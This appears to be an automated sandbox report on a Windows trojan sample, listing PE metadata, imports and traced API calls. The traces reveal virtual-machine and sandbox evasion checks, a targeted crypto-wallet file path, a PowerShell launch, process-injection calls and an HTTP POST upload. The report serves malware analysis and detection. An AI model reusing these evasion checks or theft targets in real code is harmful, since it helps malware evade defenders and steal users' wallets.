CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	66deda4204cb009d8c01c3f28c17567f

Entrypoint Preview

Instruction
call 00007FB510B397BCh
jmp 00007FB510B3922Fh
push ebp
mov ebp, esp
push 00000000h
call dword ptr [0041105Ch]
push dword ptr [ebp+08h]
call dword ptr [00411058h]
push C0000409h
call dword ptr [0041100Ch]
push eax
call dword ptr [00411014h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [00411060h]
test eax, eax
je 00007FB510B393B7h
push 00000002h
pop ecx
int 29h
mov dword ptr [00418A78h], eax
mov dword ptr [00418A74h], ecx
mov dword ptr [00418A70h], edx
mov dword ptr [00418A6Ch], ebx
mov dword ptr [00418A68h], esi
mov dword ptr [00418A64h], edi
mov word ptr [00418A90h], ss
mov word ptr [00418A84h], cs
mov word ptr [00418A60h], ds
mov word ptr [00418A5Ch], es
mov word ptr [00418A58h], fs
mov word ptr [00418A54h], gs
pushfd
pop dword ptr [00418A88h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [00418A7Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00418A80h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [00418A8Ch], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [004189C8h], 00010001h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17690	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x13c40	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e000	0x1130	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x16698	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x165d8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfbea	0xfc00	f80c6e36c0496492e658927e9cbd2f9a	False	0.5602368551587301	data	6.555752738036374	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x6d0c	0x6e00	06a44f2522af6deb8eae500514137c22	False	0.4388494318181818	OpenPGP Public Key	4.883697607623019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x18000	0x163c	0xa00	b55402247df1a6c6692e0c2bccb8e505	False	0.1765625	data	2.3846615292625706	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1a000	0x13c40	0x13e00	e39abfeefcd8de461783de132656f586	False	0.5046924135220126	data	4.887254345357395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2e000	0x1130	0x1200	6250f4910a879ac182f4b8379731bb76	False	0.7437065972222222	data	6.405937874038831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_DIALOG	0x1a118	0x18c	data	English	United States	0.6464646464646465
RT_RCDATA	0x1a2a4	0x19	data	English	United States	1.36
RT_RCDATA	0x1a2c0	0x13800	data	English	United States	0.5062600160256411
RT_MANIFEST	0x2dac0	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

VirtualFree, GetCurrentProcess, VirtualAlloc, TerminateProcess, GetModuleHandleA, GetLastError, GetProcAddress, ExitProcess, VirtualProtect, BuildCommDCBAndTimeoutsA, WriteConsoleW, CloseHandle, CreateFileW, SetFilePointerEx, GetConsoleMode, GetConsoleOutputCP, FlushFileBuffers, HeapReAlloc, HeapSize, GetModuleHandleW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwind, RaiseException, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, GetModuleHandleExW, HeapFree, HeapAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetFileType, GetStringTypeW, LCMapStringW, GetProcessHeap, DecodePointer

GDI32.dll

LPtoDP

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	19:29:56
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe"
Imagebase:	0x8f0000
File size:	182'272 bytes
MD5 hash:	6D36580FEEE622F41B2AB6BFE79A8F5E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.6%
Dynamic/Decrypted Code Coverage:	17.5%
Signature Coverage:	17.1%
Total number of Nodes:	1248
Total number of Limit Nodes:	10

Executed Functions

Function 02B885F0 Relevance: 210.6, APIs: 77, Strings: 43, Instructions: 615
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumDisplayDevicesW.USER32(00000000,00000000,00000000,00000000), ref: 02B8862E
StrStrIW.KERNELBASE(?,Hyper-V), ref: 02B8864D
StrStrIW.SHLWAPI(?,VMWare), ref: 02B88663
StrStrIW.SHLWAPI(?,Parallels Display Adapter), ref: 02B88679
StrStrIW.SHLWAPI(?,Red Hat QXL controller), ref: 02B8868F
EnumDisplayDevicesW.USER32(00000000,00000001,00000348,00000000), ref: 02B886A4
GetModuleHandleA.KERNEL32(kernel32), ref: 02B886AF
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 02B886C3
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 02B886CE
ExpandEnvironmentStringsW.KERNEL32(%systemroot%\System32\VBoxService.exe,?,00000104), ref: 02B886FD
ExpandEnvironmentStringsW.KERNEL32(%systemroot%\System32\VBoxTray.exe,?,00000104), ref: 02B88710
GetFileAttributesW.KERNELBASE(?), ref: 02B8871F
GetFileAttributesW.KERNEL32(?), ref: 02B88731

Strings

WDAGUtilityAccount, xrefs: 02B88B85
These.docx, xrefs: 02B887BD
kernel32, xrefs: 02B886AA
Harry Johnson, xrefs: 02B88B7E
Wow64RevertWow64FsRedirection, xrefs: 02B886C5
Joe Cage, xrefs: 02B88B62
Hyper-V, xrefs: 02B88640
xlsx, xrefs: 02B88D73
Wow64DisableWow64FsRedirection, xrefs: 02B886BD
SFTOR-PC, xrefs: 02B88C01
docx, xrefs: 02B88D5B
powershell.exe, xrefs: 02B88DE6
Parallels Display Adapter, xrefs: 02B8866D
new songs.txt, xrefs: 02B889EE
ANNA-PC, xrefs: 02B88C71
BAIT, xrefs: 02B88988, 02B8899A
FORTI-PC, xrefs: 02B88BFA
WILLCARTER-PC, xrefs: 02B88BF1
xls, xrefs: 02B88D67
OpenVPN.txt, xrefs: 02B88843
@, xrefs: 02B88C32
Jennifer Lopez & Pitbull - On The FloorBeyonce - Halo, xrefs: 02B88A9C
STRAZNJICA.GRUBUTT, xrefs: 02B88B69
Red Hat QXL controller, xrefs: 02B88683
PJones, xrefs: 02B88B77
doc, xrefs: 02B88D4C
Anna, xrefs: 02B88C5F
Opened.docx, xrefs: 02B887B3
Files.docx, xrefs: 02B887CB
d5.vc/g, xrefs: 02B88BB2
Recently.docx, xrefs: 02B887AC
VMWare, xrefs: 02B88657
%systemroot%\System32\VBoxTray.exe, xrefs: 02B8870B
sal.rosenburg, xrefs: 02B88B8C
%appdata%\Jaxx\Local Storage\wallet.dat, xrefs: 02B88AE5
7, xrefs: 02B88B23
Are.docx, xrefs: 02B887C4
DESKTOP-ET51AJO, xrefs: 02B88BDE
%systemroot%\System32\VBoxService.exe, xrefs: 02B886F8
7, xrefs: 02B88A92
Paul Jones, xrefs: 02B88B70
Resource.txt, xrefs: 02B88834
Bruno, xrefs: 02B88BCC

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: AddressAttributesDevicesDisplayEnumEnvironmentExpandFileProcStrings$HandleModule
String ID: %appdata%\Jaxx\Local Storage\wallet.dat$%systemroot%\System32\VBoxService.exe$%systemroot%\System32\VBoxTray.exe$7$7$@$ANNA-PC$Anna$Are.docx$BAIT$Bruno$DESKTOP-ET51AJO$FORTI-PC$Files.docx$Harry Johnson$Hyper-V$Jennifer Lopez & Pitbull - On The FloorBeyonce - Halo$Joe Cage$OpenVPN.txt$Opened.docx$Puser$Parallels Display Adapter$Paul user$Recently.docx$Red Hat QXL controller$Resource.txt$SFTOR-PC$STRAZNJICA.GRUBUTT$These.docx$VMWare$WDAGUtilityAccount$WILLCARTER-PC$Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$d5.vc/g$doc$docx$kernel32$new songs.txt$powershell.exe$sal.rosenburg$xls$xlsx
API String ID: 4266617301-3915609787
Opcode ID: a216744b56892ff18ae39a7f544872ac746c00cedc7fd85f3e77c432bae6c7be
Instruction ID: 3985d57e0e75d91f64140da1b4e228b378f81c6437295c6118d606bc9e3bcfc2
Opcode Fuzzy Hash: a216744b56892ff18ae39a7f544872ac746c00cedc7fd85f3e77c432bae6c7be
Instruction Fuzzy Hash: D3228B71D4025DABEB20ABA4CC48FEEBBB8FF04748F500595E91CE7190E7709A45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 008F1300 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 297
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 008F132A
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 008F1343
GetModuleHandleA.KERNEL32(kernel32,LoadLibraryA), ref: 008F1439
GetProcAddress.KERNEL32(00000000), ref: 008F1440
LoadLibraryA.KERNELBASE(?), ref: 008F1459

Strings

LoadLibraryA, xrefs: 008F142F
kernel32, xrefs: 008F1325, 008F1434

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule$AddressAllocLibraryLoadProcVirtual
String ID: LoadLibraryA$kernel32
API String ID: 3393750808-970291620
Opcode ID: aa09247d2304a07330c36ba8aa35c67ab0ca15033c051c2c1d5f27c156fe3ded
Instruction ID: 81cea1ca3f293b1ec31a9652dca2e7ebf68500b15613a874cca133eea893720e
Opcode Fuzzy Hash: aa09247d2304a07330c36ba8aa35c67ab0ca15033c051c2c1d5f27c156fe3ded
Instruction Fuzzy Hash: 06D1D275E00219DFCF08CFA8D894ABEB7B6FF98304F248159E506AB395D734A981CB54

Uniqueness

Uniqueness Score: -1.00%

Function 008F2F40 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LPtoDP.GDI32(00000000,000C2BFF,020ECD74), ref: 008F2F77
GetLastError.KERNEL32 ref: 008F2F81
ExitProcess.KERNEL32 ref: 008F2F8E
BuildCommDCBAndTimeoutsA.KERNEL32(jhl46745fghb,00000000,00000000), ref: 008F2F9D
GetCurrentProcess.KERNEL32(00000000), ref: 008F2FA9
TerminateProcess.KERNEL32(00000000), ref: 008F2FB0

Strings

jhl46745fghb, xrefs: 008F2F98

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: Process$BuildCommCurrentErrorExitLastTerminateTimeouts
String ID: jhl46745fghb
API String ID: 3772419538-1856006033
Opcode ID: 8edaebc35a4047c4cefc305a2815bf13e0ec104221193b7f12f1c2f03bf6c144
Instruction ID: 8be330fd67907905a9b3fd46b96f52c5fc565fceec905ca2f9500adef293a976
Opcode Fuzzy Hash: 8edaebc35a4047c4cefc305a2815bf13e0ec104221193b7f12f1c2f03bf6c144
Instruction Fuzzy Hash: 4E014C34A14348AFEB20AFB4DD0ABADB774FF05701F004098E686EA191DF749944EB52

Uniqueness

Uniqueness Score: -1.00%

Function 02B88E00 Relevance: 3.0, APIs: 2, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultLangID.KERNEL32 ref: 02B88E06
ExitProcess.KERNEL32 ref: 02B88EAE

Part of subcall function 02B885F0: EnumDisplayDevicesW.USER32(00000000,00000000,00000000,00000000), ref: 02B8862E
Part of subcall function 02B885F0: StrStrIW.KERNELBASE(?,Hyper-V), ref: 02B8864D
Part of subcall function 02B885F0: StrStrIW.SHLWAPI(?,VMWare), ref: 02B88663
Part of subcall function 02B885F0: StrStrIW.SHLWAPI(?,Parallels Display Adapter), ref: 02B88679
Part of subcall function 02B885F0: StrStrIW.SHLWAPI(?,Red Hat QXL controller), ref: 02B8868F
Part of subcall function 02B885F0: EnumDisplayDevicesW.USER32(00000000,00000001,00000348,00000000), ref: 02B886A4
Part of subcall function 02B885F0: GetModuleHandleA.KERNEL32(kernel32), ref: 02B886AF
Part of subcall function 02B885F0: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 02B886C3
Part of subcall function 02B885F0: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 02B886CE
Part of subcall function 02B885F0: ExpandEnvironmentStringsW.KERNEL32(%systemroot%\System32\VBoxService.exe,?,00000104), ref: 02B886FD
Part of subcall function 02B885F0: ExpandEnvironmentStringsW.KERNEL32(%systemroot%\System32\VBoxTray.exe,?,00000104), ref: 02B88710
Part of subcall function 02B885F0: GetFileAttributesW.KERNELBASE(?), ref: 02B8871F
Part of subcall function 02B885F0: GetFileAttributesW.KERNEL32(?), ref: 02B88731

Part of subcall function 02B88310: InitializeCriticalSection.KERNEL32(02B8A088), ref: 02B88332
Part of subcall function 02B88310: GetVolumeInformationW.KERNEL32(C:\,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02B8835F
Part of subcall function 02B88310: StringFromGUID2.OLE32(?,?,00000080), ref: 02B883B8
Part of subcall function 02B88310: wsprintfA.USER32 ref: 02B883CF
Part of subcall function 02B88310: CreateMutexW.KERNEL32(00000000,00000001,?), ref: 02B883E3
Part of subcall function 02B88310: GetLastError.KERNEL32 ref: 02B883EE
Part of subcall function 02B88310: WSAStartup.WS2_32(00000202,?), ref: 02B8842C
Part of subcall function 02B88310: CryptAcquireContextA.ADVAPI32(02B8A4F4,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000), ref: 02B88445
Part of subcall function 02B88310: CryptAcquireContextA.ADVAPI32(02B8A4F4,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000008), ref: 02B88461

Part of subcall function 02B87120: ExpandEnvironmentStringsW.KERNEL32(%ProgramW6432%,?,00000104), ref: 02B87141
Part of subcall function 02B87120: lstrlenW.KERNEL32(?), ref: 02B8714A
Part of subcall function 02B87120: ExpandEnvironmentStringsW.KERNEL32(%ProgramFiles%,?,00000104), ref: 02B87165
Part of subcall function 02B87120: GetSystemWow64DirectoryW.KERNEL32(?,00000104), ref: 02B87173
Part of subcall function 02B87120: GetLastError.KERNEL32 ref: 02B8717D
Part of subcall function 02B87120: wnsprintfW.SHLWAPI ref: 02B87199
Part of subcall function 02B87120: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 02B871B5
Part of subcall function 02B87120: wnsprintfW.SHLWAPI ref: 02B871CF
Part of subcall function 02B87120: SetFileAttributesW.KERNEL32(?,00000006), ref: 02B871EF

Part of subcall function 02B88F70: CryptGenRandom.ADVAPI32(00000020,?), ref: 02B88F88
Part of subcall function 02B88F70: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B88FE5
Part of subcall function 02B88F70: HeapFree.KERNEL32(00000000), ref: 02B88FEC
Part of subcall function 02B88F70: wsprintfA.USER32 ref: 02B8901F
Part of subcall function 02B88F70: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B89058
Part of subcall function 02B88F70: HeapFree.KERNEL32(00000000), ref: 02B8905B
Part of subcall function 02B88F70: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B89060
Part of subcall function 02B88F70: HeapFree.KERNEL32(00000000), ref: 02B89063

Part of subcall function 02B87620: LsaOpenPolicy.ADVAPI32(00000000,02B8A060,00000001,?), ref: 02B8765C
Part of subcall function 02B87620: LsaQueryInformationPolicy.ADVAPI32(?,0000000C,?), ref: 02B8766F
Part of subcall function 02B87620: GetProcessHeap.KERNEL32(00000008,?), ref: 02B8768B
Part of subcall function 02B87620: HeapAlloc.KERNEL32(00000000), ref: 02B87692
Part of subcall function 02B87620: LsaFreeMemory.ADVAPI32(?), ref: 02B876CC
Part of subcall function 02B87620: LsaClose.ADVAPI32(?), ref: 02B876D5
Part of subcall function 02B87620: GetComputerNameW.KERNEL32(?,?), ref: 02B876F4
Part of subcall function 02B87620: GetUserNameW.ADVAPI32(?,00000101), ref: 02B87705

Part of subcall function 02B88500: ExpandEnvironmentStringsW.KERNEL32(%SYSTEMROOT%\Microsoft.NET\Framework\v4.0.30319\csc.exe,?,00000104), ref: 02B88521
Part of subcall function 02B88500: ExpandEnvironmentStringsW.KERNEL32(%SYSTEMROOT%\Microsoft.NET\Framework\v2.0.50727\csc.exe,?,00000104), ref: 02B88534
Part of subcall function 02B88500: ExpandEnvironmentStringsW.KERNEL32(%ComSpec%,?,00000104), ref: 02B88547
Part of subcall function 02B88500: GetFileAttributesW.KERNEL32(?), ref: 02B8856D
Part of subcall function 02B88500: lstrcpyW.KERNEL32(00000000,sd4.ps1), ref: 02B8859D
Part of subcall function 02B88500: wnsprintfW.SHLWAPI ref: 02B885C0
Part of subcall function 02B88500: ShellExecuteW.SHELL32(00000000,open,?,?,00000000,00000000), ref: 02B885E2

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: EnvironmentExpandHeapStrings$Process$AttributesFileFree$Cryptwnsprintf$AcquireAddressContextDevicesDisplayEnumErrorInformationLastNamePolicyProcUserwsprintf$AllocCloseComputerCreateCriticalDefaultDirectoryExecuteExitFromHandleInitializeLangMemoryModuleMutexOpenQueryRandomSectionShellStartupStringSystemVolumeWow64lstrcpylstrlen
String ID:
API String ID: 2686793623-0
Opcode ID: 639a829bb5ccf6c1acdcaa1d14372bab9768f6dea51668027f1a35e8141839bb
Instruction ID: 483b49e310cf3d7b97a0e90f83610c151b76e48324b42cb291fd843876eae29a
Opcode Fuzzy Hash: 639a829bb5ccf6c1acdcaa1d14372bab9768f6dea51668027f1a35e8141839bb
Instruction Fuzzy Hash: 81012B5E62110A8BEF34B55848242B82143DFD0B2AFD885A96BDE47DC59F081E83D65F

Uniqueness

Uniqueness Score: -1.00%

Function 008F1710 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008F1110: GetModuleHandleA.KERNEL32(kernel32), ref: 008F111B
Part of subcall function 008F1110: GetModuleHandleW.KERNEL32(00000000), ref: 008F1162

GetUserDefaultLangID.KERNELBASE ref: 008F1824

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule$DefaultLangUser
String ID:
API String ID: 3410018322-0
Opcode ID: ce53d5113b9bd42f790fb992987374619a8164cf104cdcbaa5414ef6ad4430de
Instruction ID: 12fb40c70ee3eafaac8122f4b2e15f715aff3281d441832498132cd9185be9df
Opcode Fuzzy Hash: ce53d5113b9bd42f790fb992987374619a8164cf104cdcbaa5414ef6ad4430de
Instruction Fuzzy Hash: 4141E4B5E00209DBCF04DFA8C885AEEB7B5FF48304F148559D605A7341E735AA55CFA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02B85E10 Relevance: 68.6, APIs: 30, Strings: 9, Instructions: 309
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(ntdll), ref: 02B85E2D
GetProcAddress.KERNEL32(00000000,NtCreateSection), ref: 02B85E41
GetProcAddress.KERNEL32(00000000,NtCreateProcessEx), ref: 02B85E4C
GetProcAddress.KERNEL32(00000000,RtlCreateProcessParametersEx), ref: 02B85E57
GetProcAddress.KERNEL32(00000000,RtlDestroyProcessParameters), ref: 02B85E62
GetProcAddress.KERNEL32(00000000,NtCreateThreadEx), ref: 02B85E6D
GetTempPathW.KERNEL32(000000F6,?), ref: 02B85E86

Part of subcall function 02B824F0: GetTickCount.KERNEL32 ref: 02B824F2

wnsprintfW.SHLWAPI ref: 02B85EC1
PathCombineW.SHLWAPI(?,?,?), ref: 02B85EDB
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000002,00000080,00000000), ref: 02B85F02
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02B85F26
SetEndOfFile.KERNEL32(00000000), ref: 02B85F29
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B85F36
wnsprintfW.SHLWAPI ref: 02B85F54
RtlInitUnicodeString.NTDLL(?,?), ref: 02B85F6A
RtlInitUnicodeString.NTDLL(?,?), ref: 02B85F77
GetCurrentProcess.KERNEL32(00000004,00000000,00000000,00000000,00000000), ref: 02B85FB6
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B86005
WriteFile.KERNEL32(00000000,00000000,00000400,00000000,00000000), ref: 02B8604F
FlushFileBuffers.KERNEL32(00000000), ref: 02B86057
SetEndOfFile.KERNEL32(00000000), ref: 02B8605E
NtQueryInformationProcess.NTDLL ref: 02B86073
ReadProcessMemory.KERNEL32(00000000,?,?,00000480,00000000), ref: 02B8609B
VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000004), ref: 02B860F2
WriteProcessMemory.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02B8612E
WriteProcessMemory.KERNEL32(00000000,?,?,00000004,00000000), ref: 02B8613C
NtClose.NTDLL ref: 02B86175
NtClose.NTDLL ref: 02B86186
NtClose.NTDLL ref: 02B86190
CloseHandle.KERNEL32(00000000), ref: 02B86193

Strings

ntdll, xrefs: 02B85E25
RtlDestroyProcessParameters, xrefs: 02B85E59
"%s", xrefs: 02B85F43
%08x%s, xrefs: 02B85EB0
NtCreateSection, xrefs: 02B85E3B
NtCreateProcessEx, xrefs: 02B85E43
NtCreateThreadEx, xrefs: 02B85E64
.exe, xrefs: 02B85E9F
RtlCreateProcessParametersEx, xrefs: 02B85E4E

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: File$AddressProcProcess$CloseWrite$Memory$HandleInitPathPointerStringUnicodewnsprintf$AllocBuffersCombineCountCreateCurrentFlushInformationModuleQueryReadTempTickVirtual
String ID: "%s"$%08x%s$.exe$NtCreateProcessEx$NtCreateSection$NtCreateThreadEx$RtlCreateProcessParametersEx$RtlDestroyProcessParameters$ntdll
API String ID: 3548791621-756185880
Opcode ID: 6640f67aca5e743e79f7649f0c8e82eac3abce5fd335e88aced70a6a1522ed06
Instruction ID: a080f5579b1dcf751e077902243c150ad1ebeceabe2f2d5953d0e1edd9fc0428
Opcode Fuzzy Hash: 6640f67aca5e743e79f7649f0c8e82eac3abce5fd335e88aced70a6a1522ed06
Instruction Fuzzy Hash: D3B13871E40219ABEB20EBA4CC49FAEBBBCFB04744F144495F609FB191D770AA54CB64

Uniqueness

Uniqueness Score: -1.00%

Function 02B86670 Relevance: 52.7, APIs: 27, Strings: 3, Instructions: 230
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ObtainUserAgentString.URLMON(00000000,?,?), ref: 02B86692
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 02B866B2
GetProcessHeap.KERNEL32(00000008,00000000), ref: 02B866CB
HeapAlloc.KERNEL32(00000000), ref: 02B866D2
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 02B866F3
InternetOpenW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 02B86718
InternetSetOptionW.WININET(00000000,00000002,0000EA60,00000004), ref: 02B86751
InternetConnectW.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02B8676E
HttpOpenRequestW.WININET(00000000,POST,?,00000000,00000000,00000000,80403000,00000000), ref: 02B867A7
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 02B867D0
InternetSetOptionW.WININET(00000000,0000001F,00003180,00000004), ref: 02B867EA
HttpSendRequestW.WININET(00000000,Content-Type: application/octet-streamContent-Encoding: binary,000000FF,?,?), ref: 02B867FE
InternetQueryDataAvailable.WININET(00000000,00000000,00000000,00000000), ref: 02B86820
GetProcessHeap.KERNEL32(00000008,00000000), ref: 02B86839
HeapAlloc.KERNEL32(00000000), ref: 02B86840
GetProcessHeap.KERNEL32(00000008,?,00000000), ref: 02B8684B
HeapReAlloc.KERNEL32(00000000), ref: 02B86852
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 02B86866
InternetCloseHandle.WININET(00000000), ref: 02B86888
InternetCloseHandle.WININET(00000000), ref: 02B86893
InternetCloseHandle.WININET(00000000), ref: 02B86899
GetProcessHeap.KERNEL32(00000000,?), ref: 02B868CC
HeapFree.KERNEL32(00000000), ref: 02B868CF
